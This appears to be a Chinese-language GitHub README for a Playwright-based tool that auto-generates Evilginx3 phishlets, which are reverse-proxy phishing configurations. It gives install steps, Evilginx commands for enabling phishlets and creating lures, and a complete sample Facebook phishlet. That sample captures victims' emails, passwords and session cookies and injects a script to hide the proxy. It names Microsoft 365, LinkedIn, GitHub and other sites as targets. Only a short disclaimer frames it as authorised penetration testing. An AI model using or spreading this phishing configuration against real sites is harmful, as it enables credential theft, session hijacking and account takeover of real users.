MomenAbuAssi/Phishlets-Build
GitHub: MomenAbuAssi/Phishlets-Build
该项目利用真实浏览器自动化技术,通过捕获登录网络流量来自动生成 Evilginx3 兼容的 phishlet YAML 配置文件。
Stars: 2 | Forks: 0
[README.md](https://github.com/user-attachments/files/29044923/README.md)
```
███████╗███████╗██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗██╗ ██╗
╚══███╔╝██╔════╝██╔══██╗██╔═══██╗ ██╔════╝██╔═══██╗██╔══██╗██╔════╝╚██╗██╔╝
███╔╝ █████╗ ██████╔╝██║ ██║ ██║ ██║ ██║██║ ██║█████╗ ╚███╔╝
███╔╝ ██╔══╝ ██╔══██╗██║ ██║ ██║ ██║ ██║██║ ██║██╔══╝ ██╔██╗
███████╗███████╗██║ ██║╚██████╔╝ ╚██████╗╚██████╔╝██████╔╝███████╗██╔╝ ██╗
╚══════╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝
```
# Phishlet 生成器 — Zero Codex Engine
**由真实浏览器自动化驱动的自动化 Evilginx3 phishlet 构建器**
[](https://python.org)
[](https://playwright.dev)
[](https://github.com/kgretzky/evilginx2)
[](#license)
## 📖 概述
**Zero Codex Phishlet Generator** 自动化生成 [Evilginx3](https://github.com/kgretzky/evilginx2) 的 `.yaml` phishlet 文件。
无需手动逆向工程网站的登录流程,该工具可以:
- 启动真实的 Chromium 浏览器并导航至目标网站
- 使用您的测试凭据登录,以捕获实时的网络流量
- 自动检测 POST 字段、session cookie 和 auth token
- 通过暂停等待手动处理来应对 CAPTCHA 和 2FA
- 输出可直接用于生产环境的 `.yaml` phishlet 文件
**支持的目标包括** Facebook、LinkedIn、X/Twitter、Microsoft 365、Instagram、Spotify、OnlyFans、GitHub、Reddit 以及任何自定义网站。
## ✨ 核心功能
| 功能 | 描述 |
|---------|-------------|
| 🤖 **智能字段分类** | 自动区分凭据、动态 token 和静态强制值 |
| 🍪 **Cookie 收集** | 登录后收集并稳定 session cookie |
| 🔐 **支持 CAPTCHA / 2FA** | 无限期暂停,等待手动完成验证 |
| 🌐 **多步登录** | 处理邮箱 → 下一步 → 密码的登录流程(如 Twitter、Microsoft) |
| 🛡️ **反检测** | 注入 `js_inject` 脚本以隐藏代理特征 |
| 🧹 **智能过滤** | 移除干扰域名、广告追踪器和不相关的 cookie |
| ⚡ **自动域名映射** | 自动检测所需的 CDN 和 API 子域名 |
| 📝 **YAML 序列化器** | 生成整洁、有效的 Evilginx3 兼容 YAML |
## 📋 环境要求
| 组件 | 版本 |
|-----------|---------|
| Python | 3.7 或更高版本 |
| pip | 最新版 |
| Playwright + Chromium | 通过 pip 安装 |
| Evilginx3 | 3.0.0 或更高版本 |
## 🛠️ 安装说明
### 1. 克隆仓库
```
git clone https://github.com/MomenAbuAssi/Phishlets-Build.git
cd Phishlets-Build
```
### 2. 安装 Python 依赖
```
pip install -r requirements.txt
```
**`requirements.txt`**
```
colorama
playwright
urllib3
```
### 3. 安装 Playwright 浏览器
```
playwright install chromium
```
### 4. 安装系统依赖(仅限 Linux)
```
playwright install-deps chromium
```
## 🚀 使用方法
```
python phishlet_generator.py
```
该工具会通过交互式提示引导您完成操作:
### 详细操作步骤说明
#### 🔗 目标 URL
```
[?] Target URL: https://www.facebook.com/
```
输入您想要为其生成 phishlet 的真实网站地址。
#### 🌐 伪装域名
```
[?] Fake domain (e.g. evil.com): your-domain.com
```
您的钓鱼域名 — 必须在您的控制之下,并已指向您的 Evilginx3 服务器。
#### 🏷️ Phishlet 名称
```
[?] Phishlet name [facebook]:
```
按 Enter 键使用自动检测到的名称,或输入自定义名称。
#### 🖥️ 无头模式 (Headless Mode)
```
[?] Headless? (y/N):
```
- `N`(推荐)— 显示浏览器窗口,允许手动解决 CAPTCHA/2FA
- `y` — 用于服务器的后台模式(无法手动解决 CAPTCHA)
#### 🔑 登录页面
```
[?] Login page:
1. Auto-detect (click login button)
2. Provide direct login URL
```
对于大多数网站,建议选择选项 `2` 以跳过着陆页。
#### 🧑💻 真实账号模式
```
[?] Have account? (y/N): y
[?] Email/username: test@example.com
[?] Password:
```
使用真实账号可以捕获实时的 POST 流量和 session cookie,从而生成完整的 phishlet。
## ▶️ 自动执行的操作
```
Phase 1: Navigation → Opens the login page
Phase 2: Login Flow → Fills credentials, submits, waits for result
Phase 3: Form Extract → Scans DOM for form fields and hidden tokens
Phase 4: Cookie Collect → Harvests session cookies from all subdomains
Phase 5: Stabilisation → Waits for cookie jar to stabilise (up to 60s)
Build: YAML Output → Generates the phishlet file
```
### 处理 CAPTCHA / 2FA
如果出现验证挑战,脚本会自动暂停:
```
[!] CAPTCHA — solve it manually in the browser window.
[i] Script is waiting indefinitely...
[✓] CAPTCHA solved — continuing...
```
在打开的浏览器窗口中完成验证 — 脚本会自动恢复运行。
## 📦 输出
```
[✓] Done (✅ Real login).
[+] Building YAML...
════════════════════════════════════════════════════════════════
✓ PHISHLET SAVED: phishlets/facebook.yaml
════════════════════════════════════════════════════════════════
Mode : ✅ Real login
Proxy hosts : 6
Auth tokens : 9
Force POST : 2 entries
Auth URLs : 2
Credentials : user=email pass=pass
Login : www.facebook.com/login/
```
phishlet 将保存在 `phishlets/` 文件夹中(该文件夹会自动创建)。
## ⚡ Evilginx3 命令
生成 phishlet 之后:
```
phishlets load facebook
phishlets hostname facebook your-domain.com
phishlets enable facebook
lures create facebook
```
## 🏗️ 生成的 YAML 结构
```
name: 'facebook'
min_ver: '3.0.0'
proxy_hosts:
- {phish_sub: 'www', orig_sub: 'www', domain: 'facebook.com',
session: true, is_landing: true, auto_filter: true}
sub_filters:
- {triggers_on: 'www.facebook.com', search: 'https://www.facebook.com',
replace: 'https://{hostname}', mimes: ['text/html', ...]}
auth_tokens:
- domain: '.facebook.com'
keys: ["c_user", "xs", "fr", "datr", ".*,regexp"]
credentials:
username: {key: 'email', search: '(.*)', type: 'post'}
password: {key: 'pass', search: '(.*)', type: 'post'}
auth_urls:
- '/'
- '/home.php'
login:
domain: 'www.facebook.com'
path: '/login/'
force_post:
- path: '/api/graphql/'
search:
- {key: '__user', search: '(.*)'}
force:
- {key: '__ccg', value: 'GOOD'}
type: 'post'
js_inject:
- trigger_domains: ['www.facebook.com']
trigger_paths: ['/login/', '/']
script: |
(function() {
Object.defineProperty(document, 'domain', {
get: function() { return 'facebook.com'; }
});
})();
```
## 🧰 故障排除
| 问题 | 解决方案 |
|---------|----------|
| 无法识别 `playwright` | 运行 `pip install playwright`,然后运行 `playwright install chromium` |
| 脚本在 CAPTCHA 处卡住 | 在浏览器中手动完成验证 — 脚本会自动恢复运行 |
| 登录立即失败 | 检查凭据;脚本无法绕过错误的密码 |
| 未收集到 cookie | 确保 `Have account? y` 且登录已完全成功 |
| 页面加载时没有样式 | CDN 子域名未被代理 — 在网络连接稳定的情况下重新运行 |
| `force_post: missing force field` | Evilginx 版本问题 — 手动添加 `force: []` 或升级 Evilginx |
| 生成了错误的 `login.path` | 使用选项 `2` 并手动提供直接的登录 URL |
## 🔍 字段分类的工作原理
在登录过程中捕获的每个 POST 字段都会被自动分类:
```
Email / Password → search (captured from victim)
Dynamic tokens (lsd, __s...) → search (captured per-session)
remember_me, LoginOptions → force (injected as fixed value)
debug, trace, request_id → ignored (noise)
Values longer than 20 chars → ignored (dynamic tokens/hashes)
```
`force` 中只能包含 9 个白名单内的键:
`remember_me`, `rememberme`, `keep_me_signed_in`, `stay_signed_in`,
`persistent`, `loginoptions`, `remembermfa`, `__ccg`, `login`
## 📁 项目结构
```
zero-codex-phishlet-generator/
├── phishlet_generator.py # Main script
├── requirements.txt # Python dependencies
├── README.md # This file
├── .gitignore # Ignore phishlets output
└── phishlets/ # Generated YAML files (auto-created)
├── facebook.yaml
├── linkedin.yaml
└── ...
```
## ⚠️ 法律免责声明
本工具**仅供教育目的和授权的渗透测试使用**。
- 您必须获得目标组织的**明确书面授权**
- 在大多数司法管辖区,未经授权针对真实用户或系统使用本工具是**违法的**
- 作者对任何滥用或造成的损害**不承担任何责任**
**负责任地使用。坚守道德底线。**
## 📄 许可证
```
Zero Codex Engine — Phishlet Generator
Developer: Momen Abu Assi
For authorised security research and penetration testing only.
```
**Zero Codex Engine** — 专为安全研究人员打造
*如果此工具您的研究有所帮助,请考虑点个 ⭐*
标签:Playwright, Python, 无后门, 浏览器自动化, 特征检测, 网络调试, 自动化, 逆向工具